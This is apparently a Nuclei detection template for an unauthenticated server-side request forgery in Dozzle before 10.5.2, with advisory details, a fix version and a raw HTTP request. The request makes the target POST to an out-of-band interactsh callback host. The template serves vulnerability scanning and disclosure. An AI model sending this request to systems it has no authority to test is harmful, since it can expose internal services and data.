Dozzle - Server Side Request Forgery

id: CVE-2026-45298

info:
  name: Dozzle - Server Side Request Forgery
  author: theamanrawat
  severity: high
  description: |
    Dozzle prior to 10.5.2 contains a server-side request forgery caused by unauthenticated access to POST /api/notifications/test-webhook forwarding attacker-controlled URLs, letting remote attackers send arbitrary HTTP POST requests and receive response data, exploit requires no authentication.
  impact: |
    Remote attackers can send arbitrary HTTP POST requests and retrieve response data, potentially exposing internal services or sensitive information.
  remediation: |
    Update to version 10.5.2 or later.
  reference:
    - https://github.com/amir20/dozzle/security/advisories/GHSA-3v9w-6365-9w54
    - https://nvd.nist.gov/vuln/detail/CVE-2026-45298
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-45298
    epss-score: 0.01491
    epss-percentile: 0.71007
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,ssrf,dozzle

http:
  - raw:
      - |
        POST /api/notifications/test-webhook HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"url":"http://{{interactsh-url}}","headers":{}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - 'http'

      - type: word
        part: body
        words:
          - '"statusCode":200'

      - type: status
        status:
          - 200
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